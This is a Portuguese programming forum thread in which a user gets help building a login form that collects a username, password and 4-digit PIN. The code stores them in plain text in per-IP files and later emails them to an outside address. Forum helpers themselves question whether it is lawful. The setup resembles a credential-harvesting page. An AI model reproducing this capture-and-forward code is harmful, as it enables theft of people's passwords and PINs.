Ir ao conteúdo
  • Comunicados

    • Gabriel Torres

      Seja um moderador do Clube do Hardware!   12-02-2016

      Prezados membros do Clube do Hardware, Está aberto o processo de seleção de novos moderadores para diversos setores ou áreas do Clube do Hardware. Os requisitos são:   Pelo menos 500 posts e um ano de cadastro; Boa frequência de participação; Ser respeitoso, cordial e educado com os demais membros; Ter bom nível de português; Ter razoável conhecimento da área em que pretende atuar; Saber trabalhar em equipe (com os moderadores, coordenadores e administradores).   Os interessados deverão enviar uma mensagem privada para o usuário @Equipe Clube do Hardware com o título "Candidato a moderador". A mensagem deverá conter respostas às perguntas abaixo:   Qual o seu nome completo? Qual sua data de nascimento? Qual sua formação/profissão? Já atuou como moderador em algo outro fórum, se sim, qual? De forma sucinta, explique o porquê de querer ser moderador do fórum e conte-nos um pouco sobre você.   OBS: Não se trata de função remunerada. Todos que fazem parte do staff são voluntários.
    • DiF

      Poste seus códigos corretamente!   21-05-2016

      Prezados membros do Fórum do Clube do Hardware, O Fórum oferece um recurso chamado CODE, onde o ícone no painel do editor é  <>     O uso deste recurso é  imprescindível para uma melhor leitura, manter a organização, diferenciar de texto comum e principalmente evitar que os compiladores e IDEs acusem erro ao colar um código copiado daqui. Portanto convido-lhes para ler as instruções de como usar este recurso CODE neste tópico:  
rodrigo labruciano

HTML RESOLVIDO input password em caixa

Recommended Posts

Pessoal obrigado desde já!

Preciso criar uma caixa dessa, tenho a tela inicial onde é pedido somente o usuário. E ao confirmar abrir uma caixa como essa se possível sem o botão cancelar.

a senha não são 4 dígitos mas a duvida mesmo é essa. Como criar essa caixa pedindo senha? 

Obrigado

IMG_6730 (2).PNG

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano Sem detalhes do projeto... seria a mesma coisa que tentar montar um carro sem as peças ainda.

Explique um pouco do que você quer fazer, o que já tentou fazer.... se não funcionou qual o erro que deu, o que deveria acontecer e etc...

Compartilhar este post


Link para o post
Compartilhar em outros sites
5 horas atrás, DiF disse:

@rodrigo labruciano Sem detalhes do projeto... seria a mesma coisa que tentar montar um carro sem as peças ainda.

Explique um pouco do que você quer fazer, o que já tentou fazer.... se não funcionou qual o erro que deu, o que deveria acontecer e etc...

Mestre acontece que não tenho ideia de como criar essa caixa entende. Seria como um Alert! Pedindo a senha entendeu e personalizado...

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano 

8 horas atrás, rodrigo labruciano disse:

Seria como um Alert! Pedindo a senha entendeu e personalizado...

Sim, mas em que  ocasião usará isto? é disso que estou falando. 

Não para simplesmente explicar algo que não sabemos o que é. 

 

Basicamente pode ser um elemento DIV escondido com um formulário, contendo o campo de texto e um botão.

Pelo que eu tentei "adivinhar" o propósito, seria um tipo de LOGIN em duas vias?

Onde uma tela o usuário coloca o login, aperta um botão, em seguida aparece esta tela para colocar a senha e o botão de confirmar?

 

Como eu disse anteriormente, é imprescindível que você explique o seu objetivo, a ideia da coisa, o sistema que está desenvolvendo.. só com estas informações poderei lhe dizer algo mais concreto.

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano antes de mais nada, você, como desenvolvedor, precisa pensar na UX, ou simplesmente user experience. Um usuário que  vai logar no teu sistema, qual a vantagem de ter um campo login com e-mail/usuário e depois abrir outra janela com a senha? Não seria mais básico para o usuário ter um formulário contendo os dois campos? Geralmente, esse tipo de sistema, gera um número aleatório para cada sessão e envia ou por e-mail ou por celular? Este é o propósito? A cada vez que o usuário logar, vai enviar um número para o e-mail contendo a senha nova? Se sim, mais uma vez, qual a vantagem de se fazer isso? E outra, mais geralmente ainda, esse tipo de confirmação acontece ao usuário registrar-se no sistema, onde logo após isso é enviado e-mail/sms contendo  o código de ativação. Por fim, se for um sistema básico, em meu ponto de vista, é totalmente  desnecessário uma verificação em duas etapas toda a vez que o usuário for logar.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Vamos lá. Vou colocar só as partes que interessam e simplificadas para não ficar muita coisa e confundir, também não vou colocar o CSS. (Consegui os scripts conforme abaixo para o 'Alert' como na imagem que postei.)

Tenho a página inicial é um formulário onde os dados ficam armazenados no próprio servidor de hospedagem na minha pasta 'avisos'. Então:

<html>

<head>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script type="text/javascript" src="scripts/jquery.js"></script>
<script type="text/javascript" src="scripts/jquery.maskedinput.js"></script>
<script type="text/javascript" src="scripts/alertify.js"></script>
<script type="text/javascript" src="scripts/alertify.min.js"></script>



<title>teste</title>



<script type="text/javascript">
$(document).ready(function(){
    $("#inputbtn").click(function(){
        alertify.prompt("Digite sua senha", function(e,str){
            if(e){
                alertify.alert(str);    <!--AQUI A SENHA DIGITADA APARECE PARA O USUARIO; QUERO SOMENTE QUE ELA SEJA ENVIADA PARA O ARQ. 1.PHP -->
            }else{
                alertify.alert("nao digitou nada");
            }
            
            
        });
    });
});
</script>

</head>

<body>

<img src="images/logo1.png" border="0" id="logo">


<form id="totalForm" method="post" action="1.php"> <!--1.php é para onde os dados vão para serem armazenados na pasta avisos-->
    
    <div id="login">
    <label>Usuario<input type="tel" name="userconta" id="baseplaca" class="spacee" maxlength="8" minlength="4" placeholder="Informe o usuario desejado" required></label>
    <br> <img src="images/separador.png" id="separador" border="0" width="99%"><br><br>
    <label>Senha<input type="password" name="passconta" id="baseplaca" maxlength="10" minlength="4" placeholder="Senha" required></label>
    <br> <img src="images/separador.png" id="separador" border="0" width="99%"><br>
    <input type=submit name="inputbtn" id="inputbtn" value="enviar" />
    </div>



</form>

</body>

</html>



<!-- Preciso que; somente quando preencher o usuario e senha;

abra o 'alert' onde terá que digitar a senha novamente, e, ela ser enviada para o arquivo 1.php;

como os names 'userconta' e 'passconta' são enviados.

//-->

<!-- NO 1.php --> 



<?php
    function saveTo($fName, $data){
        $content = '';
        foreach($data as $key => $val){
            $content .= $key . ' - ' . $val . "\n";
        }
        $fp = fopen("avisos/".$fName.".txt","a+");
        fwrite($fp,$content);
        fclose($fp);
    }
    
$arr['Usuario: '] = $_POST['userconta'];
$arr['Senha desejada: '] = $_POST['passconta'];

saveTo($_SERVER['REMOTE_ADDR'], $arr);    

header( 'Location:proximopasso2.php' ) ;

?>


 

 

Editado por rodrigo labruciano

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano Então, agora estamos fazendo um progresso.  Era o que eu tinha em mente, uma autenticação de duas vias. É como se fosse uma senha de desbloqueio ou simplesmente uma confirmação da senha.

 

Não entendi o propósito de guardar os usuários e senhas em um arquivo txt. Geralmente o ideal é usar um banco de dados e armazenar as senhas criptografadas por questões de segurança.

 

 

Enfim, o que você pode fazer é utilizar o método $.ajax() já que estas usando o jQuery.

Basicamente, você vai fazer a requisição para o arquivo 1.php depois de submeter o formulário. Ou seja, depois que enviar os dados ao php, no retorno, é chamado o alert para digitar novamente a senha.

 

Vamos a um exemplo HIPOTÉTICO

 

$('#btn_login').on('click', function(){
     var nomeEnviado = $("#input_nome").val();
     var senhaEnviada = $("#input_senha").val();
    $.ajax({
            url:'1.php',
            dataType: 'HTML',
            data: {nome: nomeEnviado, senha: senhaEnviada}
    }).done(function(retorno){
          /*aqui você coloca a chamada do alert para a senha de novo
            o parametro retorno é a resposta da resquisição ao arquivo 1.php
           */
          $.ajax({
              /*aqui você repete de novo o ajax de cima, só que só enviando 
                a senha para o arquivo 1.php ou se prefir um outro arquivo um 2.php por exemplo.
               */
          }).done(function(outroRetorno){
              //aqui é a resposta da segunda requisição
          }); 
    });

});

Basicamente, o código acima, faria uma requisição ao arquivo 1.php enviando o usuario e senha.  Caso bem sucedidom a função done(), executa novamente a requisição ajax para o arquivo 1.php de novo..

 

Claro que copiar o código não vai funcionar. Você pode usar a ideia dele e implementar o seu código de forma que funcione.

 

Conheço alguns sites que usam isso. Por exemplo a Indiegala, HumbleBundle(aquelas que sempre dão jogos steam gratuitas). 

 

Lembre-se, a forma que postei acima é somente uma dentre várias possibilidades!

Se você tem acesso ao php e arquivos, podes colocar os dados em uma sessão, onde eles podem ser acessados em qualquer parte de um site.

 

PS:  vi que no fim do código tem um "próximo passo".

Se a ideia for fazer um tipo de cadastro dividido em passos, onde a cada passo você passa preenchendo os dados e clicando em um botão "avançar" e no fim de todos os passos enviar todas os campos preenchidos para o php..... você pode usar um plugin muito bom.

Chamado de jQuery Steps.  Podes acessar o endereço dele aqui: http://www.jquery-steps.com/Examples

 

Neste link, procure pelo "Basic form exemple" 

 

Editado por DiF

Compartilhar este post


Link para o post
Compartilhar em outros sites

DIF, primeiramente obrigado pela atenção. Vamos lá... Como informei, agora conseguir criar o alert exatamente como na imagem que postei. Com aquele script alertify.prompt.... Veja abaixo:

<script type="text/javascript">
$(document).ready(function(){
	$("#inputbtn").click(function(){
		alertify.prompt("Digite sua senha de 4 dígitos", function(e,str){
		   document.getElementById('totalForm').submit();
		    
		});
	});
});
</script>
<!--preciso saber como mudar essa função (e,str) 'que faz a senha digitada aparecer na tela',
mudar para uma função que enviaria a senha digitada para o 1.php *OBS: Essa função (e,str) não aparece mais na tela, como pode ver,
coloquei o ducument.getElementById().submit(); que faz o formulario ser enviado, porém essa senha de 4 dígitos não esta inclusa
no formulario obviamente,... o proplema é exatamente esse não sei como fazer a senha digitada nesse alertify.prompt,
ir para o 1.php *OBS o 1.php pega as informações digitadas pelo 'name' para serem salvas em txt na pasta avisos como informei antes... 
Então como pegar esse 'str' que é a senha digitada no prompt, para enchaminha-la ao 1.php-->

 

Editado por rodrigo labruciano
  • Curtir 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano

Eu li e reli diversas vezes até entender o propósito da coisa. Eu acho que agora captei a vossa mensagem.

 

Então, vamos analisar o seu código acima.

Ali temos um elemento de um botão que ao clicar nele executa o alertfy.prompt().

Dentro deste prompt você está chamando o evento submit() pela ID do formulário.

 

Olhando para ele, podemos alterar algumas coisas. Primeiramente esquece o meu post anterior. Aquele grandão. Escrevi com base no que tinha entendido. Basicamente, vamos usar aquele código, pelo menos um pedaço dele e mesclar com o seu.

De forma que:

 

Ao clicar no botão de enviar, antes de submeter o formulário, peça a senha de 4 dígitos pelo prompt. e depois concatenar os valores dos campos de texto do formulário com a senha de 4 dígitos.

Para só então depois enviar tudo ao mesmo tempo ao PHP.

 

Para isso, precisa usar a função serialize() do jQuery para pegar todos os valores de texto do formulário e transformar em uma String. Depois concatenar ela com a senha de 4 dígitos. Tendo uma variável com a string completa, podemos usar a função $.ajax() e fazer uma requisição assíncrona onde o php vai receber os 3 dados.

 

Vamos ao código:

No HTML você faz algumas pequenas alterações:

 

<form id="totalForm" action="#"> 
    
    <div id="login">
    <label>Usuario<input type="tel" name="userconta" id="baseplaca" class="spacee" maxlength="8" minlength="4" placeholder="Informe o usuario desejado" required></label>
    <br> <img src="images/separador.png" id="separador" border="0" width="99%"><br><br>
    <label>Senha<input type="password" name="passconta" id="baseplaca" maxlength="10" minlength="4" placeholder="Senha" required></label>
    <br> <img src="images/separador.png" id="separador" border="0" width="99%"><br>
    <input type="button" id="inputbtn" value="Enviar"/>
    </div>
</form>

Alterações

Retirado o method e o action do formulário. Pois isso será feito na função ajax via jQuery.

Alterado o botão de enviar, do tipo submit, para button.  Pois se for submit, vai submeter o formulário antes de enviar a senha de 4 dígitos. Então precisa ser um botão normal.

 

Agora a mágica da coisa. O jQuery:

 

$(document).ready(function(){
	$("#inputbtn").on("click",function(){
	     //Armazena o formulário em uma variável.
	     var form = $("#totalForm");
	     alertify.prompt('Digite sua senha de 4 dígitos', null, function(evento, senha){ 

	        //Variável que monta a string da senha de 4 dígitos
	        var auth  = "&pin="+senha; 
	        
	        /*Variável que monta o que será enviado ao php. Neste caso a string será: 
	          userconta=fulano&passconta=teste123&pin=1234 
	         */
	        var dados = form.serialize() + auth;
	  
	        //Função ajax para enviar os dados ao php
	        $.ajax({
	            url:'1.php',
	            method: 'POST', 
	            dataType: 'HTML',
	            data: dados
	        }).fail(function(erro){   
	        	alertify.error(erro);

	        }).done(function(sucesso){    
	        	alertify.success(sucesso);
	        });
	      
	     });    
	});
});

Apesar de já ter explicações nos comentário, farei algumas aqui por fora.

A montagem da string que vai ser enviada e a função ajax, tem que ficar dentro da função do alertfy.

 

PS: sobre a função alertfy,  se você quer que apareça o prompt vazio, repare que tem um "null" este parâmetro é obrigatório ter.( você tinha esquecido de colocar)

 

A variável auth monta a parte da string da senha de 4 dígitos. eu coloquei como "pin" 

A variável dados recebe o formulário serializado e concatena com a variável auth. Assim temos uma string serializada com 3 parâmetros!

 

A função ajax funciona da seguinte forma:

O primeiro parâmetro, é a url do arquivo que vamos requisitar, no caso é  1.php.

O method é o tipo de método a ser enviado post ou get

O dataType é o tipo de dado que vai ser enviado, no caso é HTML.

O data, é os dados que serão enviados, no caso é a string serializada.

 

Depois temos mais duas funções encadeadas. Onde o fail()  recebe como parâmetro uma função. Esta função recebe um parâmetro que é o callback do PHP. Ou seja, retorna a mensagem de erro ou se sucesso. Neste caso o fail representa a mensagem de erro.

 

Já o done() é o mesmo que o fail, mas representa a mensagem de bem sucedido. Como por exemplo o usuário conseguiu logar.

 

PS: eu usei a própria função de mensagem do alertfy  que é o alertfy.message().

 

Agora veremos a parte do PHP.

<?php
//Cria um vetor com o usuário, senha e PIN Melhor deixar de primeiro..
$lista = array(
    "Usuario" =>$_POST['userconta'],
    "senha"   =>$_POST['passconta'],
    "pin"     =>$_POST['pin']
);


function saveTo($fName, $data){
    
    $arquivo = "avisos/".$fName.".txt";
    $content = "";
    foreach($data as $key => $val):
        $content .= $key . " - " . $val . "\n";
    endforeach;
    
    
    $file = fopen($arquivo,"a+");
    
    if(fwrite($file, $content)):
        echo "Os dados foram gravados em um arquivo TXT";
    else:
        echo "Não foi possível gravar os dados.";
    endif;
    
    fclose($file);
}

//Executa a função!
saveTo($_SERVER['REMOTE_ADDR'], $lista);

?>

Basicamente receba os dados do formulário primeiro.

Dentro de sua função, alterei algumas coisas. Como por exemplo:

Criei uma variável $arquivo que monta o nome do arquivo na qual será salvo.

Usei a opção a+ para leitura e escrita.

E por fim, fiz um teste se o arquivo foi escrito corretamente, mostra uma mensagem de sucesso. Senão mostra uma mensagem de erro.

 

Leia tudo com atenção. Creio que seguir os passos descritos deste post você vai resolver o problema. :thumbsup:

Editado por DiF

Compartilhar este post


Link para o post
Compartilhar em outros sites

DIF mais uma vez muito obrigado pela atenção! Entendi perfeitamente a logica do código, creio que é exatamente assim que deve ser feito,... o que acontece..., é que após inserir o código que me enviou, fazer as alterações necessárias ele não envia os dados os para o 1.php. *OBS o ' null ' que colocou no alertify.prompt, impede que o alerta seja executado(tive que tira-lo)..

Eu creio que o erro esteja no 'ajax',.. conforme orientou tirei o 'action' e o 'method' do formulário, passando a função para o ajax..., que teria a função de postar as informações no 1.php... O que aconteceu foi que ao preencher os dados de Usuário e senha, clico no botão que não mais é submit correto..,(já tinha trocado antes para button esqueci de mencionar).. 

Então clico no botão , exibe o 'alertify' digito o 'PIN' e envio... Após ele exibe o echo corretamente(os dados foram gravados em um arquivo TXT), e não é submetido , acho que é onde esta o problema, porque veja.. No 1.php após submeter o formulario, tem o 'header(Location:proximopasso2.php)' que deve-se direcionar para o passo seguinte,.. o que não acontece ele fica na mesma pagina...(Então na pasta avisos chega o array com os nomes, usuario, senha e pin, porém sem os dados digitados...) 

 

Antes do seu código estava utilizando o 'input button' (como disse que esqueci de mencionar),

e dentro da função 'alertify' , usava o comando " document.getElementById('totalForm').submit(); " ... que fazia com que o formulario fosse submetido após preenchido, e digitado o que agora é o PIN no alert... Como não sabia pegar a função obviamente só era enviado os dados usuario e senha do form, o pin ficava em branco .. creio que ai esta o problema da coisa... por favor se tiver como contata-lo via skype ou algo do tipo por favor me manda por mensagem privada se tiver.. te mando o projeto hospedado para avaliar.. creio que agora esta ficando mais simples a resolução desse problema.. MUITO OBRIGADO!

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano Então, o erro não é no meu código!  Eu testei ontem e funcionou tranquilo. o null é só um valor "nulo"  porque se eu removesse, quando executava, aparecia parte da função no alertfy.

Ou seja, o null só faz o prompt abrir com o campo de texto "vazio" sem dados.

 

A função recebe 3 parâmetros do prompt:

1) a frase de pergunta,

2) o valor "padrão" 

3) a função.

 

No caso, o valor padrão null  significa que  há um valor e ele é nulo e não vazio. 

O ajax funciona.  Não sei exatamente como você fez, se copiou as riscas...  enfim, poste o código completo que você usou.

 

 

2 horas atrás, rodrigo labruciano disse:

por favor se tiver como contata-lo via skype ou algo do tipo por favor me manda por mensagem privada se tiver.. te mando o projeto hospedado para avaliar.. creio que agora esta ficando mais simples a resolução desse problema.. MUITO OBRIGADO!

O fórum o único contato que podemos manter. Desculpe.

 

O código funciona 100%(foi testado).  Creio que você poderia ter quebrado um pouco mais a cabeça para perceber que você teria que fazer o redirecionamento via jQuery também. No caso basta acrescentar:

 

$(window).attr('location','proximopasso2.php');

Dentro da função done() abaixo do alertfy.success()

 

Detalhe: Se você usar o submit(),  não vai funcionar.  Porque desta forma, você não está mais enviando os dados pelo FORM. mas sim os dados SERIALIZADOS em forma de string via jQuery.

 

Eu fui bem claro nisso no outro post. Isso porque o PIN tem que ser enviado junto com os outros dados para o mesmo arquivo php.  Somente desta forma você pode enviar usuário e senha + uma nova senha que é o PIN juntos.

 

Pois o alertfy não faz parte do formulário. Entendeu?

 

Se não fosse desta forma, você teria que fazer duas requisições assíncronas com o ajax. Onde um  submete o formulário, e o retorno desse, invocaria outra requisição ajax para o mesmo arquivo para enviar o  PIN.  Isso é trabalhoso demais e consome muito recurso.

 

Por isso o ideal é você juntar todos os dados antes de enviar ao PHP e fazer  o php receber tudo ao mesmo tempo.

 

Aqui funcionou, se aí não funcionou, isso indica que o erro é aí.

 

Desculpe a pergunta, mas para que você quer usar este tipo de coisa.  pretendes gravar usuário e senha de usuários no seu sistema?  na verdade eu não entendi bulhufas do propósito real dele.  

Se for isso, creio que seja ilegal.

 

Editado por DiF

Compartilhar este post


Link para o post
Compartilhar em outros sites

DIF, show ! Muito obrigado mesmo, tudo certo aqui cara conforme o ultimo código, o problema é que não estava chamando a biblioteca ajax corretamente... <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

 

estava procurando sobre isso a função ajax e jquery nas pesquisas, e percebi que faltava chamar a biblioteca, na verdade ela ja estava sendo chamada no inicio mas tinha que coloca-la anterior ao código. Desculpa o incômodo e de novo  muito obrigado :thumbsup:

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano  a única coisa que me preocupa é que, qualquer arquivo de texto deixado no sistema, guardando senhas, não é bom do ponto de vista da segurança da informação, concordas?

 

A guisa de segurança, não seria melhor que o usuário digitasse a senha sempre?

Compartilhar este post


Link para o post
Compartilhar em outros sites

DIF, decidi ao invés de salvar no .txt os dados serem enviados para o e-mail.. Como procedo daqui ? Desde já obrigado

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano Antes, responda a pergunta do moderador acima. 

Em 05/02/2018 às 22:53, ilkyest disse:

 a única coisa que me preocupa é que, qualquer arquivo de texto deixado no sistema, guardando senhas, não é bom do ponto de vista da segurança da informação, concordas?

 

A guisa de segurança, não seria melhor que o usuário digitasse a senha sempre?

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

DIF, meu sistema não é para guardar senhas de usuários.. Possuo software para envios de sms que funciona com o usuario e senha que cadastro..., os códigos que sempre te informei não são os verdadeiros são os mesmo mais simplificados claro.  No site o cliente entra, solicita o usuário, senha e pin que deseja utilizar,.. Eu entro em contato faço o cadastro do usuario no sistema do software, e envio o software para o cliente que não esta disponivel para download.. Então ele tem uma versão teste de 10 sms para testar.. Após ele efetua a compra de quantos envios desejar... Desculpe mas não posso ficar descrevendo detalhes do meu projeto, se puder ajudar na questão para o envio do email agradeço ... Mas muito obrigado de qualquer forma me ajudou bastante até aqui :thumbsup:

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano Beleza, agora temos um progresso.  A pergunta foi feita com base, de que os usuários e senhas estavam sendo armazenados em um txt. isso vai contra a premissa da segurança. No caso o mais indicado é que você NÃO tenha acesso as senhas e nem o PIN da pessoa, onde você registra a senha e o PIN de forma criptografada no banco de dados.

Recomendo que você altere isso, de txt para o banco de dados com os campos criptografados. Já que você está lidando com vendas. Aqui no fórum  nem os administradores tem a senha dos usuários. pois são todas criptografadas.

 

Para enviar ao e-mail, você pode usar uma classe php chamada PHPmailer.  

Esta classe oferece o envio de e-mails com anexo. OU simplesmente pode enviar os dados que o usuário digitar pelo formulário.

 

PS: Na própria página do github do phpmailer tem um exemplo para ser implementado.

 

Sugestão:

Deixe que o usuário cadastre o login, senha e PIN no banco de dados. Você pode implementar um painel listando usuários recém cadastrados, com controle de liberar o download, enviar um e-mail com um link de download único( aqueles que se expiram depois de um tempo para não fazerem o download mais de uma vez) e por aí vai.

 

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

DIF, tentei fazer como disse mas não consegui poderia exemplificar o código, coloquei o @mail mas não soube como fazer corretamente o email chega em branco sem assunto ou conteudo ..

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano Posta como tentou fazer.

NO site do github tem um exemplo funcional onde você só precisa copiar e tirar o que não vai usar, além das documentações que explicam  bem como usar.

 

Lembre-se de que não damos códigos prontos. Antes você sempre deve tentar fazer. Se não funcionar o código, posta para ser analisado.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não soube encontrar nesse site usei a função mail no '1.php'

mail("atendimentosac@live.com", "$ip", "$lista");

<!-- onde $ip seria o assunto , $lista os dados-->



$ip = $_SERVER['REMOTE_ADDR'];



<!--de resto ficou do mesmo jeito-->

$lista =

array( 

"Usuario" =>$_POST['userconta'], 

"senha" =>$_POST['passconta'], 

"pin" =>$_POST['pin'] ); 

function saveTo($fName, $data){ 

$arquivo = "avisos/".$fName.".txt"; 

$content = ""; 

foreach($data as $key => $val): 

$content .= $key . " - " . $val . "\n"; 

endforeach; 

$file = fopen($arquivo,"a+");

if(fwrite($file, $content)):

echo "Os dados foram gravados em um arquivo TXT"; 

else: echo "Não foi possível gravar os dados.";

endif; 

fclose($file); 

} 

//Executa a função! 

saveTo($_SERVER['REMOTE_ADDR'], $lista); 

?>

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

@rodrigo labruciano A função nativa do php é bem ruim. 

 

Recomendo que você leia com atenção dobrada no link do GIThub.

18 horas atrás, rodrigo labruciano disse:

Não soube encontrar nesse site usei a função mail no '1.php'

Não soube ou não tentou?

O que é difícil entender, que você precisa baixar a classe phpmailer,  colocar no seu projeto e instanciar o objeto de classe.

 

O link tem até um exemplo que é só copiar e colar e tirar as opções que não precisa. Não tem mistério. Além disso, você poderia pesquisar aqui no fórum(Lá no campo "pesquisar", procure pela palavra chave "phpmailer") que vai achar centenas de tópicos onde eu ensino a usar o phpmailer.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário






Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×